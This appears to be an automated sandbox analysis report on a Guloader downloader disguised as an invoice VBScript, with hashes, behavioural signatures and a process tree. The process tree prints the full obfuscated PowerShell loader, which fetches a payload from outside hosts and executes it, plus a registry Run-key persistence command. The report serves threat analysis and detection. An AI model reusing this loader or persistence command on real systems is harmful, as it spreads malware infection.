Analysis
-
max time kernel
120s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
02-07-2024 05:42
Static task
static1
Behavioral task
behavioral1
Sample
Revised Invoice 7389293.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Revised Invoice 7389293.vbs
Resource
win10v2004-20240508-en
General
-
Target
Revised Invoice 7389293.vbs
-
Size
26KB
-
MD5
ed86258f8c9db682ae810896c67d498c
-
SHA1
e182aef5ecacc6bec36e9bc2bb255436b9dae698
-
SHA256
64c701bc7d32900bf11e8f5dd9bed584d350a949c467f5fd6643e8cd7f902fcd
-
SHA512
b90e69ed8c473994472b813ef68c45d91e4c46485227f109d400a8b7d4ebfe425abc585387ed61f9e51fd00fd6cdca16f9bf4bf1800082d9cebc8d650429822a
-
SSDEEP
384:PlzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwCjnvhTT1EFw:9zSR022X/523S0e8xPPmVvJr08hpouGs
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 2 IoCs
Processes:
WScript.exepowershell.exeflow pid process 2 1628 WScript.exe 6 2748 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\Chooseable = "%valleculate% -w 1 $Flkkedes=(Get-ItemProperty -Path 'HKCU:\\Optagningsmaskiners\\').Kesslerman;%valleculate% ($Flkkedes)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
Processes:
wab.exepid process 2272 wab.exe 2272 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2764 powershell.exe 2272 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2764 set thread context of 2272 2764 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepowershell.exepid process 2748 powershell.exe 2764 powershell.exe 2764 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2764 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2748 powershell.exe Token: SeDebugPrivilege 2764 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
WScript.exepowershell.exepowershell.exewab.execmd.exedescription pid process target process PID 1628 wrote to memory of 2748 1628 WScript.exe powershell.exe PID 1628 wrote to memory of 2748 1628 WScript.exe powershell.exe PID 1628 wrote to memory of 2748 1628 WScript.exe powershell.exe PID 2748 wrote to memory of 2480 2748 powershell.exe cmd.exe PID 2748 wrote to memory of 2480 2748 powershell.exe cmd.exe PID 2748 wrote to memory of 2480 2748 powershell.exe cmd.exe PID 2748 wrote to memory of 2764 2748 powershell.exe powershell.exe PID 2748 wrote to memory of 2764 2748 powershell.exe powershell.exe PID 2748 wrote to memory of 2764 2748 powershell.exe powershell.exe PID 2748 wrote to memory of 2764 2748 powershell.exe powershell.exe PID 2764 wrote to memory of 3020 2764 powershell.exe cmd.exe PID 2764 wrote to memory of 3020 2764 powershell.exe cmd.exe PID 2764 wrote to memory of 3020 2764 powershell.exe cmd.exe PID 2764 wrote to memory of 3020 2764 powershell.exe cmd.exe PID 2764 wrote to memory of 2272 2764 powershell.exe wab.exe PID 2764 wrote to memory of 2272 2764 powershell.exe wab.exe PID 2764 wrote to memory of 2272 2764 powershell.exe wab.exe PID 2764 wrote to memory of 2272 2764 powershell.exe wab.exe PID 2764 wrote to memory of 2272 2764 powershell.exe wab.exe PID 2764 wrote to memory of 2272 2764 powershell.exe wab.exe PID 2272 wrote to memory of 1540 2272 wab.exe cmd.exe PID 2272 wrote to memory of 1540 2272 wab.exe cmd.exe PID 2272 wrote to memory of 1540 2272 wab.exe cmd.exe PID 2272 wrote to memory of 1540 2272 wab.exe cmd.exe PID 1540 wrote to memory of 2688 1540 cmd.exe reg.exe PID 1540 wrote to memory of 2688 1540 cmd.exe reg.exe PID 1540 wrote to memory of 2688 1540 cmd.exe reg.exe PID 1540 wrote to memory of 2688 1540 cmd.exe reg.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised Invoice 7389293.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin';If (${host}.CurrentCulture) {$Cuculidae++;}Function Glycosemia205($Drfyldingernes){$Folkloric=$Drfyldingernes.Length-$Cuculidae;$Decalvant='SUBsTRI';$Decalvant+='ng';For( $Fritures=1;$Fritures -lt $Folkloric;$Fritures+=2){$Relinquishments+=$Drfyldingernes.$Decalvant.Invoke( $Fritures, $Cuculidae);}$Relinquishments;}function Eksistensminimas($Rettesnorene){ &($Prosadigtene) ($Rettesnorene);}$signallygtens=Glycosemia205 'AM.o z i l.lRa./ 5U. 0, b( Wsi.nEd o w s, ,NdT. 1C0M. 0U;, SW i n 6 4A;t .x 6 4G; Tr vK: 1 2G1 . 0n). AG,e cOk oS/ 2 0 1 0,0 1A0R1. ,F itrMerfSo,xO/ 1M2 1 .A0F ';$Millihg=Glycosemia205 ' UCs eor - A,gDe.nFt ';$Transceive2=Glycosemia205 'sh,t t pD: /S/N1 0 3 ..1F9E5 .U2 3N7S. 4.3,/ N y.e t .KqOxFdS> h tAt.pSsE:P/,/Tm,i l aDn aRcOe.sA.Cc,o,m / N,y.e t ..qAxEdv ';$Mellemliggende=Glycosemia205 ',>. ';$Prosadigtene=Glycosemia205 'DiAeSx ';$Distendedly='opbyggendes';$Tilbageholdelses = Glycosemia205 'ce.c,hMoU S%,aRp.pKd aRtDaS%s\ s.tBa,l lLm aUnP. FArBoN &C&K IeOcEhco St ';Eksistensminimas (Glycosemia205 'D$ g.lHoEbSaNlP:SP a.rua,l l e lReVd =.( cSmTd ./Uc $GT,i l,b aBg e.h o,lPd.e.l s.eFsS)H ');Eksistensminimas (Glycosemia205 'U$igIlSo bSaAl :USUe.kUsLtMeUnHa,a rBsCf,dSsFeelfs d.aIgZeunMsH=p$,TArUa.nAs,cUePi.v e.2 .Os,p.l,i,tI(H$UM e.lPlDePm.l.iBg.gFeVn d eT)I ');Eksistensminimas (Glycosemia205 ' [ N e.t,.oSAe.r v iRcEe.PDo iUn t MFa,n a,g eIr ]L:K: S e.c uFrfi t y PSrNoStCoScBo,l =s M[ NRe.tU..SSe,c u rTi t y,PSrDo tGoHcPoClrT,yBpAeF] :A:CT.lOs 1D2 ');$Transceive2=$Sekstenaarsfdselsdagens[0];$Lothar= (Glycosemia205 'A$,gfl o b aUl :,D i s eJnLtTe.r =VNNeRw - O.bRj.eBc tC S y,s t e,mI.AN.e tk. WTeIb,CFl.ile,n t');$Lothar+=$Paralleled[1];Eksistensminimas ($Lothar);Eksistensminimas (Glycosemia205 'S$DDRiCsDeTnGt.e rS. HPeRaNd eSrKs [C$,MLi.lAlPiKhGg ]D=P$ s,i g n aPlHl y.g.tte nMsP ');$Emigated=Glycosemia205 ' $ DFi,s,eVnLt eSrS.PDBoUwRnYl ofa,d F.i l e (N$FT,rAaSnTs cKe iNvFe 2S,P$TANl g,u.mAsF) ';$Algums=$Paralleled[0];Eksistensminimas (Glycosemia205 'A$ g l.oFbCa lG: BNuMfHf.ePrSe dG= ( TRe,sSt,- PDa t h R$HA,l g uSmTs,) ');while (!$Buffered) {Eksistensminimas (Glycosemia205 ' $BgClhoObiaCl :SA,n.g eSlMi.cLnAePsRsF= $AtKrSuDe ') ;Eksistensminimas $Emigated;Eksistensminimas (Glycosemia205 'BS tFa rEtO- S lOeAePpL f4P ');Eksistensminimas (Glycosemia205 'P$fg,l o b a lF:SBHuKfSf.eSrfesd,=W(UT eSs.t -CPEa t h $.AAl,gFuBm s )U ') ;Eksistensminimas (Glycosemia205 'S$LgNlAoPbMaSl :VO,k,sBeEh,aKl eRnls,=,$.g,l o b.acl : M iKd dTe lSv e jSeTn.+.+M%C$DSKe kOsSt.e nPaWaSrds fAd sHeUlPs.dHaVgFeFnfs..ncTopuhnNt. ') ;$Transceive2=$Sekstenaarsfdselsdagens[$Oksehalens];}$Sandhedsvidnet=334484;$Phytol=26427;Eksistensminimas (Glycosemia205 ' $ gNl o bNa lI:TK u.lOtDuMrPuNdAbCuMd d e tQs 1U5S6a C=T TGSe t -PC o nPtCeKn tB $.AOlSg,uCmKsC ');Eksistensminimas (Glycosemia205 ' $Ig l o bRa.lK:BsVw a.gT G=, [BSsy s tUeFm .SCbo nLvCe rNt ]D: : FSrAo mtBFa.s.eR6.4fS t rDiDnPg (A$,KRuMl t u r u.d b,u dAdJe t,s,1K5 6V) ');Eksistensminimas (Glycosemia205 ' $ g,l oSb aKl :.CFo rKrMo sSi b,l.e ,=P [ S.yFsBt,eSm..ETSe,xSth.KE n cJoFdji,n g ]H:J:VASS C.I,IS.,G,e tHSGt.r i nGg (b$ sRwPa,g,), ');Eksistensminimas (Glycosemia205 'E$TgUl oEb.aFl.:SEBhbrBlgiMc h,m,a,nS=B$ C oCrrrCoDs iTbDlTe.. sSuRb,s t r,iTnBgp(B$,S a,n.d,h e d.s v iFd.nSeHt ,B$ PSh y tSo,l,)O ');Eksistensminimas $Ehrlichman;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\stallman.Fro && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin Relinquishments Middelvejen Oksehalens Sekstenaarsfdselsdagens Transceive2 Bewailment Prmielaanets opbyggendes Kulturudbuddets156 helliggjordes disrates Corrosible ladybug Opvikle Udvalgsprocedurens191 Eutaxies Anaphora Radierer Testatorernes Optegnelsesbger Ministrant187 Algums Indberetningspligter Wakerobin';If (${host}.CurrentCulture) {$Cuculidae++;}Function Glycosemia205($Drfyldingernes){$Folkloric=$Drfyldingernes.Length-$Cuculidae;$Decalvant='SUBsTRI';$Decalvant+='ng';For( $Fritures=1;$Fritures -lt $Folkloric;$Fritures+=2){$Relinquishments+=$Drfyldingernes.$Decalvant.Invoke( $Fritures, $Cuculidae);}$Relinquishments;}function Eksistensminimas($Rettesnorene){ &($Prosadigtene) ($Rettesnorene);}$signallygtens=Glycosemia205 'AM.o z i l.lRa./ 5U. 0, b( Wsi.nEd o w s, ,NdT. 1C0M. 0U;, SW i n 6 4A;t .x 6 4G; Tr vK: 1 2G1 . 0n). AG,e cOk oS/ 2 0 1 0,0 1A0R1. ,F itrMerfSo,xO/ 1M2 1 .A0F ';$Millihg=Glycosemia205 ' UCs eor - A,gDe.nFt ';$Transceive2=Glycosemia205 'sh,t t pD: /S/N1 0 3 ..1F9E5 .U2 3N7S. 4.3,/ N y.e t .KqOxFdS> h tAt.pSsE:P/,/Tm,i l aDn aRcOe.sA.Cc,o,m / N,y.e t ..qAxEdv ';$Mellemliggende=Glycosemia205 ',>. ';$Prosadigtene=Glycosemia205 'DiAeSx ';$Distendedly='opbyggendes';$Tilbageholdelses = Glycosemia205 'ce.c,hMoU S%,aRp.pKd aRtDaS%s\ s.tBa,l lLm aUnP. FArBoN &C&K IeOcEhco St ';Eksistensminimas (Glycosemia205 'D$ g.lHoEbSaNlP:SP a.rua,l l e lReVd =.( cSmTd ./Uc $GT,i l,b aBg e.h o,lPd.e.l s.eFsS)H ');Eksistensminimas (Glycosemia205 'U$igIlSo bSaAl :USUe.kUsLtMeUnHa,a rBsCf,dSsFeelfs d.aIgZeunMsH=p$,TArUa.nAs,cUePi.v e.2 .Os,p.l,i,tI(H$UM e.lPlDePm.l.iBg.gFeVn d eT)I ');Eksistensminimas (Glycosemia205 ' [ N e.t,.oSAe.r v iRcEe.PDo iUn t MFa,n a,g eIr ]L:K: S e.c uFrfi t y PSrNoStCoScBo,l =s M[ NRe.tU..SSe,c u rTi t y,PSrDo tGoHcPoClrT,yBpAeF] :A:CT.lOs 1D2 ');$Transceive2=$Sekstenaarsfdselsdagens[0];$Lothar= (Glycosemia205 'A$,gfl o b aUl :,D i s eJnLtTe.r =VNNeRw - O.bRj.eBc tC S y,s t e,mI.AN.e tk. WTeIb,CFl.ile,n t');$Lothar+=$Paralleled[1];Eksistensminimas ($Lothar);Eksistensminimas (Glycosemia205 'S$DDRiCsDeTnGt.e rS. HPeRaNd eSrKs [C$,MLi.lAlPiKhGg ]D=P$ s,i g n aPlHl y.g.tte nMsP ');$Emigated=Glycosemia205 ' $ DFi,s,eVnLt eSrS.PDBoUwRnYl ofa,d F.i l e (N$FT,rAaSnTs cKe iNvFe 2S,P$TANl g,u.mAsF) ';$Algums=$Paralleled[0];Eksistensminimas (Glycosemia205 'A$ g l.oFbCa lG: BNuMfHf.ePrSe dG= ( TRe,sSt,- PDa t h R$HA,l g uSmTs,) ');while (!$Buffered) {Eksistensminimas (Glycosemia205 ' $BgClhoObiaCl :SA,n.g eSlMi.cLnAePsRsF= $AtKrSuDe ') ;Eksistensminimas $Emigated;Eksistensminimas (Glycosemia205 'BS tFa rEtO- S lOeAePpL f4P ');Eksistensminimas (Glycosemia205 'P$fg,l o b a lF:SBHuKfSf.eSrfesd,=W(UT eSs.t -CPEa t h $.AAl,gFuBm s )U ') ;Eksistensminimas (Glycosemia205 'S$LgNlAoPbMaSl :VO,k,sBeEh,aKl eRnls,=,$.g,l o b.acl : M iKd dTe lSv e jSeTn.+.+M%C$DSKe kOsSt.e nPaWaSrds fAd sHeUlPs.dHaVgFeFnfs..ncTopuhnNt. ') ;$Transceive2=$Sekstenaarsfdselsdagens[$Oksehalens];}$Sandhedsvidnet=334484;$Phytol=26427;Eksistensminimas (Glycosemia205 ' $ gNl o bNa lI:TK u.lOtDuMrPuNdAbCuMd d e tQs 1U5S6a C=T TGSe t -PC o nPtCeKn tB $.AOlSg,uCmKsC ');Eksistensminimas (Glycosemia205 ' $Ig l o bRa.lK:BsVw a.gT G=, [BSsy s tUeFm .SCbo nLvCe rNt ]D: : FSrAo mtBFa.s.eR6.4fS t rDiDnPg (A$,KRuMl t u r u.d b,u dAdJe t,s,1K5 6V) ');Eksistensminimas (Glycosemia205 ' $ g,l oSb aKl :.CFo rKrMo sSi b,l.e ,=P [ S.yFsBt,eSm..ETSe,xSth.KE n cJoFdji,n g ]H:J:VASS C.I,IS.,G,e tHSGt.r i nGg (b$ sRwPa,g,), ');Eksistensminimas (Glycosemia205 'E$TgUl oEb.aFl.:SEBhbrBlgiMc h,m,a,nS=B$ C oCrrrCoDs iTbDlTe.. sSuRb,s t r,iTnBgp(B$,S a,n.d,h e d.s v iFd.nSeHt ,B$ PSh y tSo,l,)O ');Eksistensminimas $Ehrlichman;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\stallman.Fro && echo t"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chooseable" /t REG_EXPAND_SZ /d "%valleculate% -w 1 $Flkkedes=(Get-ItemProperty -Path 'HKCU:\Optagningsmaskiners\').Kesslerman;%valleculate% ($Flkkedes)"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chooseable" /t REG_EXPAND_SZ /d "%valleculate% -w 1 $Flkkedes=(Get-ItemProperty -Path 'HKCU:\Optagningsmaskiners\').Kesslerman;%valleculate% ($Flkkedes)"6⤵
- Adds Run key to start application
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
342B
MD54a01b9856305de5c4ad3cc5613c946dd
SHA141d084738ba78ea12dbb0c72f425f68d67a4ba12
SHA25626cadf791f3320b57af102ddf141bd36a3ac9a79ab0f4a0300f85096e84d5ff6
SHA512db2a855d741482b24c2c26535a76ca4dec79167de007e36bb16dfa42dab1c2b8fecbf6bac9dd0379e544bcab9d4a51bdee4b376a88640192c29eb7f84a1a4812
-
C:\Users\Admin\AppData\Local\Temp\CabCFDD.tmpFilesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D59FT0WL5VLT1TZYKOPG.tempFilesize
7KB
MD54ca657bb77cdea033efc96e5e1e6c1e6
SHA1467c974c7748f6f3dd3e529823f831aa01019abd
SHA2568561c0ee6801558b6a03a4ef88158b65ba44b40068ca32b2212bcd49a795e74b
SHA5128d8fe2e627b1de37e83202abc7a1f8d4cd263586634788e94c40f590469f0f9ef562a285aab089e7b0110892cd3b2cf61b717aa16fc552882c305e70e82b3af6
-
C:\Users\Admin\AppData\Roaming\stallman.FroFilesize
469KB
MD5aba02c6ac493c569a13fe65cd959509b
SHA1bad9b1ca9d756e3132c0f6a31d91ff5292261463
SHA256e358c9e0c4fc9d907f60c86fab74df3ebc37ab8e2051d989b76a0ec2cf512461
SHA512a8c55d08fbc07f1a4363b2d546b495ed19520a1069d84c8abf47f296a2e30c2494d477ef9e30248bf70519cf738caf4a6305c027246c683dd38e586786976567
-
memory/2272-57-0x0000000001DF0000-0x0000000004737000-memory.dmpFilesize
41.3MB
-
memory/2272-56-0x0000000000D80000-0x0000000001DE2000-memory.dmpFilesize
16.4MB
-
memory/2748-22-0x000000001B5E0000-0x000000001B8C2000-memory.dmpFilesize
2.9MB
-
memory/2748-28-0x000007FEF58A0000-0x000007FEF623D000-memory.dmpFilesize
9.6MB
-
memory/2748-26-0x000007FEF58A0000-0x000007FEF623D000-memory.dmpFilesize
9.6MB
-
memory/2748-27-0x000007FEF58A0000-0x000007FEF623D000-memory.dmpFilesize
9.6MB
-
memory/2748-34-0x000007FEF58A0000-0x000007FEF623D000-memory.dmpFilesize
9.6MB
-
memory/2748-35-0x000007FEF5B5E000-0x000007FEF5B5F000-memory.dmpFilesize
4KB
-
memory/2748-21-0x000007FEF5B5E000-0x000007FEF5B5F000-memory.dmpFilesize
4KB
-
memory/2748-23-0x0000000001E00000-0x0000000001E08000-memory.dmpFilesize
32KB
-
memory/2748-24-0x000007FEF58A0000-0x000007FEF623D000-memory.dmpFilesize
9.6MB
-
memory/2748-25-0x000007FEF58A0000-0x000007FEF623D000-memory.dmpFilesize
9.6MB
-
memory/2748-60-0x000007FEF58A0000-0x000007FEF623D000-memory.dmpFilesize
9.6MB
-
memory/2764-36-0x0000000006950000-0x0000000009297000-memory.dmpFilesize
41.3MB